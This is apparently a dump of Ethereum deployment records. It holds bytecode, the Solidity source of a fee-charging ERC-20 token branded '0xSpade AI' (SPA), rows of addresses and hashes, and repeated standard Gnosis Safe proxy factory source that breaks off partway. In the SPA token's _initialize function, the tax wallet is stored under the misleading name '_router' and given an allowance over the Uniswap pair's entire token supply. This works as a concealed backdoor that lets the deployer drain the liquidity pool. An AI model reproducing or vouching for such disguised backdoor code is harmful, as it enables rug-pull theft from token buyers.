62461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610452565b9392505050565b600061150683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611605565b600061150683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061129c565b60008183116115a05782611506565b50919050565b6000806115b38385611940565b9050838110156115065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610452565b600081836116265760405162461bcd60e51b81526004016104529190611633565b5060006112cd848661196c565b600060208083528351808285015260005b8181101561166057858101830151858201604001528201611644565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461169657600080fd5b50565b600080604083850312156116ac57600080fd5b82356116b781611681565b946020939093013593505050565b6000806000606084860312156116da57600080fd5b83356116e581611681565b925060208401356116f581611681565b929592945050506040919091013590565b6000806040838503121561171957600080fd5b50508035926020909101359150565b60006020828403121561173a57600080fd5b813561150681611681565b6000806040838503121561175857600080fd5b823561176381611681565b9150602083013561177381611681565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117cf5781600019048211156117b5576117b561177e565b808516156117c257918102915b93841c9390800290611799565b509250929050565b6000826117e6575060016103e5565b816117f3575060006103e5565b816001811461180957600281146118135761182f565b60019150506103e5565b60ff8411156118245761182461177e565b50506001821b6103e5565b5060208310610133831016604e8410600b8410161715611852575081810a6103e5565b61185c8383611794565b80600019048211156118705761187061177e565b029392505050565b600061150660ff8416836117d7565b80820281158282048414176103e5576103e561177e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118e557600080fd5b815161150681611681565b60008060006060848603121561190557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193057600080fd5b8151801515811461150657600080fd5b808201808211156103e5576103e561177e565b6000600182016119655761196561177e565b5060010190565b60008261198957634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103e5576103e561177e565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a075784516001600160a01b0316835293830193918301916001016119e2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220335ba4a9ef4025642dd996eb8416fce4af75dff32539521ab668611671e55e3964736f6c63430008130033
|
// SPDX-License-Identifier: MIT
/**
https://www.0xspadeai.com/
https://app.0xspadeai.com/
https://t.me/spadeai_portal
https://twitter.com/0xSpadeAI
*/
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SPA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
address private uniswapV2Pair;
IUniswapV2Router02 private uniswapV2Router;
uint256 private constant _initialBuyTax =30;
uint256 private constant _initialSellTax=30;
uint256 private constant _reduceBuyTaxAt=15;
uint256 private constant _reduceSellTaxAt=15;
uint256 private constant _preventSwapBefore=15;
uint256 private _finalBuyTax=2;
uint256 private _finalSellTax=2;
uint256 private _buyCount=0;
uint256 private _countTax;
string private constant _name = unicode"0xSpade AI";
string private constant _symbol = unicode"SPA";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
uint256 private constant _countTrigger = 1000 * 10**_decimals;
uint256 public constant _taxSwapThreshold = 2000 * 10**_decimals;
uint256 public constant _maxTaxSwap = 500000 * 10**_decimals;
uint256 public _maxTxAmount = 2000000 * 10**_decimals;
uint256 public _maxWalletSize = 2000000 * 10**_decimals;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event FinalTax (uint256 _valueBuy, uint256 _valueSell);
event TradingActive (bool _tradingOpen,bool _swapEnabled);
event maxAmount(uint256 _value);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address taxWallet) {
_taxWallet = payable(taxWallet);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if(!tradingOpen){
require(
_isExcludedFromFee[to] || _isExcludedFromFee[from],
"trading not yet open"
);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if ( to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax)/100;
}
else if (from == uniswapV2Pair && to!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)/100;
}
_countTax += taxAmount;
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == uniswapV2Pair &&
swapEnabled &&
contractTokenBalance > _taxSwapThreshold &&
_buyCount > _preventSwapBefore &&
_countTax > _countTrigger &&
amount > _taxSwapThreshold
){
uint256 getMinValue = (contractTokenBalance > _maxTaxSwap)?_maxTaxSwap:contractTokenBalance;
swapTokensForEth((amount > getMinValue)?getMinValue:amount);
uint256 ethBalance = min(address(this).balance, 200000000000000000);
uint256 contractETHBalance = address(this).balance - ethBalance;
if(contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
_countTax = 0;
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _initialize () external onlyOwner {
require(!tradingOpen,"init already called");
uint256 tokenAmount = balanceOf(address(this)).sub(_tTotal.mul(_initialBuyTax).div(100));
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _router = _taxWallet;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(
uniswapV2Router.factory())
.createPair(address(this),
uniswapV2Router.WETH()
);
_approve(uniswapV2Pair, _router, _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance} (
address(this),
tokenAmount,
0,
0,
_msgSender(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _openTrading () external onlyOwner {
require(!tradingOpen,"trading already open");
swapEnabled = true;
tradingOpen = true;
emit TradingActive (tradingOpen,swapEnabled);
}
function _removeLimits () external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit maxAmount (_tTotal);
}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function _setFinalTax (uint256 _valueBuy, uint256 _valueSell) external onlyOwner {
require(_valueBuy <= 30 && _valueSell <= 30 && tradingOpen, "Exceeds value");
_finalBuyTax = _valueBuy;
_finalSellTax = _valueSell;
emit FinalTax(_valueBuy, _valueSell);
}
receive() external payable {}
}
|
1 | 19,502,245 |
da24fd16d3295c6d4f3f0bb9d5b1bd516540c60d16f89d9b721fa5f28aacfcb0
|
3d80a8df91fcb9fa17efa2bcea897b90ef53ebe0df7f1a5befb2da9aad29b6e8
|
3876070fc326adcaae96849df43674a4bda87efb
|
5c5708c6f9aaa28ddb9ec5bed1c972a612be5a90
|
b73799541441fd7925e7f2b6028ff5b6de46e430
|
3d602d80600a3d3981f3363d3d373d3d3d363d73f35f82081c9f00f956c2d921e8157e0bb8936e255af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73f35f82081c9f00f956c2d921e8157e0bb8936e255af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,245 |
da24fd16d3295c6d4f3f0bb9d5b1bd516540c60d16f89d9b721fa5f28aacfcb0
|
fb8148d94cd54e7c12c79eabcac3eb9d4e5626a46748353f3f599bed48181382
|
ddb3cc4dc30ce0fcd9bbfc2a5f389b8c40aa023a
|
46950ba8946d7be4594399bcf203fb53e1fd7d37
|
7e7b40faed3cc702979caf645f99d40d5e35a2c8
|
3d602d80600a3d3981f3363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,246 |
80595c2e6d9e067a9de3130ac89a44f9bc492f33408aa729f8a4608f2d72ea06
|
e5b81ececf5fc76867e8d5e156c473ec3e9498fff45954de1d22bd81604e27b0
|
a9a0b8a5e1adca0caccc63a168f053cd3be30808
|
01cd62ed13d0b666e2a10d13879a763dfd1dab99
|
788b74f283ac1a7b9e24b9ccff9a3123c99e8cf3
|
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,257 |
461a5b3f3daf60a74dbccde4fcaf21868cb3695e465f1854a56c6709d02f7dc6
|
e3b0d37f0f8138c2c71976c2dc8dcee973d2b600fbbf6ff2ea82462737f4501d
|
ddb3cc4dc30ce0fcd9bbfc2a5f389b8c40aa023a
|
46950ba8946d7be4594399bcf203fb53e1fd7d37
|
aada44268f6ac4bb87c7b7f734671a9ac8754bff
|
3d602d80600a3d3981f3363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,257 |
461a5b3f3daf60a74dbccde4fcaf21868cb3695e465f1854a56c6709d02f7dc6
|
21f7faff9b66d4ffca7c610d475d89fe2a0949730e1a6790489b599deb6e5654
|
38d1dd781da91ebf940be8b0bdcb80ec3a156746
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
5810a5d1f051cf44c2acd1e6f217aed7f1429a91
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,259 |
329721cc0e88b9ba286947fd2ca0ccb7fda0c1f3de71fa12c60b462ee3cde852
|
a175a9781d5cf9b8274232b63a643418772dead9f5d39453caf21952fb8337e9
|
5091c360d716de4d662282b84bdf0b3ffd64689e
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
0a142c492a158952660fbd29d156cd8841170622
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,259 |
329721cc0e88b9ba286947fd2ca0ccb7fda0c1f3de71fa12c60b462ee3cde852
|
407cee8cc1c272de58806d9356540a2baf6df85ed34253bac445b1cadadbac68
|
dcfb949de95cba0b543ee8ee9fdef50fa85ba836
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
0ec515ef28bcef8c0edb6a3e03c1d79c0390c712
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
